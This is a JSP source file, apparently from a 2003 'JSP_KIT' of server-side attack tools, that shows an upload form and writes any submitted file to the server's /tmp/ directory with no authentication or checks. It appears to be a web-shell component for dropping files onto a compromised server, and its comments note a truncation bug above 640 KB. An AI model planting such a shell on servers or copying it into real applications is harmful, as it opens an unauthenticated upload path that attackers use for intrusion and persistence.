jsp/up.jsp

<jsp:useBean id="prop" scope="page" class="java.util.Properties" />
<%@ page import="java.io.*,java.util.*,javax.servlet.*" %>
<%
//
// JSP_KIT
//
// up.jsp = File Upload (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<html>
<form name="test" method="post" action="" enctype="multipart/form-data">
<input type="File" name="fichero">
<input type="Submit" value="Upload" name="Submit">
</form>
</html>
<%!
public String getBoundary(HttpServletRequest request,Properties prop) throws ServletException,IOException{
	String boundary = null;
	Enumeration enum = request.getHeaderNames();
	while(enum.hasMoreElements()){
		String header = (String)enum.nextElement();
		String hvalue = request.getHeader(header);
		prop.setProperty((header).toLowerCase(),hvalue);
		if("content-type".equalsIgnoreCase(header) ){
			int idx = hvalue.lastIndexOf("boundary=");
			if(idx != -1 ){
				boundary= hvalue.substring(idx+9 , hvalue.length());
			}
		}
	}
	return boundary;
	
}
public String getFileName(String secondline){
	int len = secondline.length();
	int idx = secondline.lastIndexOf("filename=");
	if(idx == -1 ) return null;
	String filename = secondline.substring(idx+10 , len-1);
	filename = filename.replace('\\','/');
	idx = filename.lastIndexOf("/");
	idx = idx + 1;
	filename = filename.substring( idx );
	return filename;        
}
%>
<%
String DPATH = "/tmp/";
int ROUGHSIZE = 640000; // BUG: Corta el fichero si es mayor de 640Ks
int MAXSIZE = 10; // 10 Mega Byte
String boundary = getBoundary(request,prop);
if(boundary == null ){
	boundary = prop.getProperty("boundary"); 
	}else{
	boundary = "--"+boundary;
	}
if(boundary == null ){
	return;
	}
Long contentsize = new Long(prop.getProperty("content-length","0"));
int c;
StringWriter st = new StringWriter();
if(contentsize.longValue() < 1L ){
	return;
	} 
long l = contentsize.longValue() - ROUGHSIZE; 
int KB = 1024;
int MB = 1024 * KB;
int csize = (int)(l / MB);
if(csize > MAXSIZE ){
	return;
	}
ServletInputStream fin =  request.getInputStream();
int cn;
int count=0;
while((c=fin.read()) != -1 ){
	if( c == '\r') break;
	st.write(c);
	count++;
	}
c=fin.read();
String tboundary = st.getBuffer().toString();
tboundary=tboundary.trim();
if(! tboundary.equalsIgnoreCase( boundary) ){
	return;
	}
st.close();
st = null;
st = new StringWriter();
while((c=fin.read()) != -1 ){
	if( c == '\r' ) break;
	st.write(c);
	}
c=fin.read();
String secondline = st.getBuffer().toString();
String filename  =  getFileName(secondline);
st.close();
st = null;
st = new StringWriter();
while((c=fin.read()) != -1 ){
	if( c == '\r' ) break;
	st.write( c );
	}
c=fin.read();

fin.read(); 
fin.read();  
File newfile = null;
FileOutputStream fout =null; 
try{
	if(filename == null) throw new FileNotFoundException("File Name not found");
	newfile = new File(DPATH+filename); 
	fout = new FileOutputStream( newfile );
	}catch(FileNotFoundException fnexp){
	fin.close();
	return;
	}

byte b[] = null;
while(l > 1024L){
	b = new byte[1024];
	fin.read(b,0,1024);
	fout.write(b);
	b=null;
	l -= 1024L;
	}
if(l > 0){
	b = new byte[(int)l];
	fin.read(b,0,(int)l);
	fout.write(b);
	}


ByteArrayOutputStream baos = new ByteArrayOutputStream();
while((c = fin.read()) != -1){
	baos.write(c);
	}
String laststring = baos.toString();
int idx = laststring.indexOf(boundary);
b = baos.toByteArray();
if(idx > 2){
	fout.write(b,0,idx-2);
	}else{
	fout.close();
	newfile.delete();
	return;
	}
fout.flush();
fout.close();
fin.close();

out.println("FileName: " + newfile.getName());
out.println("FileSize: " + newfile.length());

%>

